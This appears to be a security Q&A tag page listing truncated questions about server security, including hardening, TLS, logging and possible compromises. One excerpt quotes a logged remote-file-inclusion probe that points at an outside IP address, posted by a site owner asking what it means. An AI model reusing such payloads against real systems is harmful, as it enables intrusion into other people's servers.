A server is a machine running a software daemon that is generally accessed over a network by other machines.

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Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
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Can email be encrypted before it reaches the mail server? If not, is there something that would allow something like this that's being worked on?

I was thinking about hosting my own email (own email server) instead of using Gmail. But then I realized I could never host my email on a server where I'm also hosting Wordpress. That is because I ...
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TLS server key: possible to sign another TLS server key?

If I have a valid (verifiable) certificate C_K_s that links the server key K_s to "www.example.com", is it possible to : use K_s to sign K_d, and let S_K_d be this signature use K_d as the TLS ...
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Cryptolocker: can servers be protected?

I'm IT in a small company. The network is about as ancient as most of the staff (at 30, I'm the company's youngest), and the staff also is notorious for spreading viruses around the network despite ...
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What are the pros and cons of using fail2ban when using SSH key auth? [closed]

I've just bought a new dedicated server. Should I install fail2ban if I am only using SSH keys to login? What else does fail2ban protect? What are the advantages and disadvantages of fail2ban? Is ...
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Securing server to server http communication

We are trying to come up with a scheme to secure http communication between our internal servers. Are there any good established schemes out there? The requirements we have are: The clients and ...
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How do I protect the stored clients' public keys on a server?

I'm learning about security at the moment, and I want to store my clients' public keys on the server to facilitate distributing and managing those keys, my question is what are the possible ways to ...
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Investigating a possible rogue DNS Server (maybe DNSChanger)

One of the users of our RouterCheck tool was complaining about random popups containing ads in Spanish and Russian. Upon investigation, we found that the DNS settings on his router were changed to ...
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How does a firewall help to protect a server?

Since a potential attacker will exploit the services that are already open to public by firewall rules, how will a firewall help to protect my server from attackers?
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Is a newly installed server with no services running (but connected to the web) at risk?

A new server has just been installed but literally has nothing else running on it, no services setup to SSH in or anything yet (it's a Linux server). However, it is hooked up to the web so I can ...
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Does Ubuntu Server have a “phone home” feature?

I've heard that Ubuntu has some sort of "phone home" system that is enabled by default. The kind of stuff that passes along performance information and that type of things to Canonical. I don't know ...
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Disable local/KVM access on a Linux VPS (allow only SSH)

Friends of mine have previously had issues with VPS security. The security was no fault of the operating system/services themselves, but mainly due to the "Control Panel" that gets forced upon you ...
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Using Window Servers 2003 after security updates are discontinued

Let's say that Microsoft has stopped supporting Windows Server 2003 now so there is no any security updates and I use that system for Domain Controller (Windows XP/7 Professional Clients) and File ...
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Error message in Apache logs shows /bin/bash and wget

I am wondering if my server is compromised or not I just looked at my log and seen the following line in there [Thu May 14 09:10:42.587255 2015] [autoindex:error] [pid 3422] [client ...
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How to keep logs safe from attackers?

I have a Linux server equipped with some security apparatus to prevent unauthorized access. Hopefully, this will prevent intrusions, but the possibility always exists. Naturally I keep logs so that ...
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Disabling SSL v2 and weak ciphers on client PC's

Is it a requirement to also disable SSL v2 and weak ciphers on client PC's? I have seen quite a few posts for disabling them on servers, but nothing about a regular client PC, say, running Windows XP ...
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What's the best way to secure inter-server communication for cloud servers?

I'm looking for best-practices or suggestions to secure inter-server communications between VPSs. Should I just run all traffic through SSH? What about HTTP Traffic via something like mongo? ...
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Server Certification Processes

We are considering a certification process for new internal server builds before they are allowed to be placed into production. That is, the system administration team will send the server up to the ...
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Restrict user from executing shell commands using PHP

Let's say that i have shared hosting and i want to secure that place, from executing shell commands. I'v installed suphp, so that users can execute PHP separately. I also did some other things in ...
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Where to start , secure an AWS Ubuntu 14.04 [closed]

Ok so this is probably a basic question but I would like to expand my knowledge. I have created an AWS Ubuntu EC2 server. I am running software on the server that provides 2 services , firstly a ...
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Redeploying multiple Secure sites on a single server

This may not be a great site for this question. I basically have approximately 10 VPS instances running a secured website each, each with their own SSH connection to a hosted Database. What I'm ...
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OpenVPN: Storage location and creation of keys/certificates?

I am re-setting up some OpenVPN infrastructure to be more secure than the original and wanted some guidance. It's noted that the best security policy is to keep the Certificate Authority (CA) offline ...
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Prevent snapshots of VPS

Pretend I have a server. Is there anyway to prevent (or make more difficult) the administrator from taking snapshots? Feel free to give me a software way, or suggest if I should change server types; ...
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Is VM per service a reasonable server security model?

Let's say I am hosting several services on my server, for instance, email and a web page. I am concerned that the web server software may have unknown vulnerabilities in it, which will allow an ...
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Updating stored, encrypted containers on a server

My scenario is this -- I want to store an encrypted container on a network server. This encrypted container should be accessible to others to download and decrypt/mount locally provided they have the ...
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Authy: Does multi-device mode imply that all keys are stored on their servers?

My understanding is that if you use Authy, without backups/multi-device options, none of your account keys are stored on their servers. It all resides on your single device. Ie, even if Authy ...
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How secure is loging into internet banking via an https library?

My bank does not have an API so I want my server to log in and check incoming payments to notify me if a client has paid or not. I would like the server to log in and scrape using Beautifulsoup and ...
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Distinct databases with the same Kerberos Authentication server

Should two deployed applications within a private network requiring distinct databases (for storing their own users credentials) require distinct Authentication servers (implementing Kerberos)? Or is ...
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Physical protection of your servers?

Here is a scenario. You are a small startup company that makes a video game. In your video game, you can exchange money for items. You are not dealing with the credit card/debit card directly but ...
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security concern of user submitted bash command

Recently I am building a web service that user input will be used to run a bash command on the server side. What are the security problem I need to take care? Right now I find one that user could ...
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Are there any logic-bombs that execute when the file is deleted?

I want to delete a suspected malicious file from a server. For the purposes of this question assume that the infected machine is Windows Server 2003 or later. Is there any risk in deleting such a ...
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Protecting IP on a remote server

Apologies in advance if this question is a bit vague. I just joined a stock trading group. A guy set up a server for me, and it's racked in their building. I ssh into it, and run my algo remotely ...
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How to find out the email host of a vanity email address?

Assuming a person gets his own domain address, say, theperson.com. He then goes on to create a vanity email address with that domain. e.g. me@theperson.com. me@theperson.com may be hosted by the ...
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Is IP whitelist sufficient to protect a server? [closed]

I am currently using a server 1 managing incoming traffic from users and a server 2 managing database requests from server 2. Both servers are accesible via Internet. Would IP whitelisting be a ...
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How to regain access to the server?

I have a Debian server with KVM available 24/7. It was recently broken into and its root password changed. My hosting provider has restored my access and helped me change the password. But in the ...
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How do hackers get into servers? [closed]

I am a web developer. I've checked How does hacking work? and I know all of the things described in the most upvoted post. However, I can't understand how do hackers get into servers when the website ...
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Has my server been compromised? [duplicate]

--thanks everyone this has been resolved, see my answer below-- I created an Debian/OpenVPN server several months ago for private use but in the last two days I've noticed something extremely ...
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Web Service Security Checklist - Tracing and Debugging

I have been reading this security checklist about web service design: http://msdn.microsoft.com/en-us/library/ff648304.aspx One of the suggestions is that you should disable the following in ...
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Why should I log successful log-ins to my server?

I was arguing with a friend about logs in user logins. I think that logs means a big audit source for IT audit professionals. Why should I log successful log-ins to my server? It's so important log ...
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Security on dedicated lines

Is it safe for a company not to use any encryption on customer's data when it is transferred between data centers on dedicated lines? By customer data I don't mean passowrds/credit card info. Just ...
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Is this accidental incident considered hacking(illegal)? [closed]

I was doing research for a college research paper and I got bored and opened up CMD. I don't really know more than the next guy about computers, so i figured id just play around. I googled the ...
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SSL: How to send generated client certificate from server to avoid MITM?

The question I have is simply how do I prevent a MiTM attack on a certificate once the server side creates a new one and tries to send it to a client? Does the certificate get encrypted by rsa and ...
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Proxied server requests + forwarding authentication info in a secure fashion

We are using PassportJS with a couple of Node.js servers - Passport is just a library that is popular for Node.js server authentication - but we have some questions about how to use Passport with ...
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Communicate through gpg

I need to frequently communicate with a server in the manner do stuff related to x or send me info of x My thoughts are to directly put the task I want to be executed into the package I want to send, ...
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What does this attack string do? How do I mitigate it?

Today I decided to run the apache-scalp script and it found a few issues. One was ranked as Impact 5, and I'd like to know if someone could explain what this does, and how to disable it? The request ...
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Stop POODLE vulnerability in Oracle Application Server

Our Enterprise is using Oracle Application Server in front of Oracle database. We are using Oracle wallet manager(Installed with Oracle client 10) to create self-signed certificates. As you may know ...
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How to deal with misbehaving clients on an authoritative server?

My coworker and I are developing an authoritative server for an MMO. We can't agree on how to handle "misbehaving" clients. Misbehaving, in this case, means clients who send "odd" requests that might ...
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What are the arguments for and against having anti-virus on domain servers

I have been hired at a start-up where I seem to have become the de-facto admin despite being hired to do application support (to be fair I do have a background as an all-rounder). Amongst the ...
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“holding open” encrypted home with local ssh

I have a couple of machines that I use for purely automated stuff, with home directories encrypted using ecryptfs. So even if the machine is powered on, those directories aren't decrypted unless that ...
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how much of a security threat would this be?

If I set up a Domain Controller server to be accessible from the internet via Remote Desktop Connection (through port forwarding in the router), how much of a threat would that be? and if I have a ...